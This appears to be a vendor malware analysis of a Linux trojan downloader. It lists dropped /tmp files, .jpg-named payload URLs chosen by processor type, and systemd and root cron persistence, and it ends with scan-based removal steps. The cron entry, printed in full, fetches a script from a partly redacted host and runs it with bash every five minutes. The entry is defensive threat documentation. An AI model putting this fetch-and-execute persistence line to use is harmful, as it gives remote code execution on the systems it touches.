Analysis by: John Rey Canon
ALIASES:

Linux/TrojanDownloader.Agent.AX (ESET-NOD32); Trojan-Downloader.Linux.Agent (Ikarus)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 6,743 bytes
File Type: Other
Memory Resident: Yes
Initial Samples Received Date: 26 Apr 2019
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Installation

This Trojan drops the following files:

  • /tmp/{7 Random Filename 3}
  • /tmp/{7 Random Filename 4}
  • /tmp/prot

It adds the following processes:

  • /tmp/{7 Random Filename 1}
  • /tmp/{7 Random Filename 2} {7 Random Filename 3}
  • /tmp/{7 Random Filename 2} {7 Random Filename 4}
  • /tmp/{7 Random Filename 2} prot

Download Routine

This Trojan saves the files it downloads using the following names:

  • /tmp/{7 Random Filename 1}
  • /tmp/seasame

Other Details

This Trojan does the following:

  • It downloads from the following URL depending on system processor:
    • {BLOCKED}.{BLOCKED}.56.161:443/{URL}
    • Where {URL} are as follows:
      • 64-bit:
        • 46d.jpg
        • 46du.jpg
        • 46s.jpg
        • 46su.jpg
        • 86d.jpg
        • 86du.jpg
        • 86s.jpg
        • 86su.jpg
      • 32-bit:
        • 43d.jpg
        • 43du.jpg
        • 43s.jpg
        • 43su.jpg
        • 83d.jpg
        • 83du.jpg
        • 83s.jpg
        • 83su.jpg
        • a6.jpg
        • a6u.jpg
  • It creates the following services to enable automatic execution of itself:
    • /etc/systemd/system/cloud_agent.service
  • It creates the following cron jobs to enable automatic execution every 5 minutes:
    • Paths: /var/spool/cron/crontabs/root
    • Content: */5 * * * * /usr/bin/wgetak -q -O /tmp/seasame http://{BLOCKED}.{BLOCKED}.{BLOCKED}.161:443 & bash /tmp/seasame

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.962.06
FIRST VSAPI PATTERN DATE: 26 Apr 2019
VSAPI OPR PATTERN File: 14.963.00
VSAPI OPR PATTERN Date: 27 Apr 2019

Scan your computer with your Trend Micro product to delete files detected as Coinminer.SH.MALXMR.UWEJH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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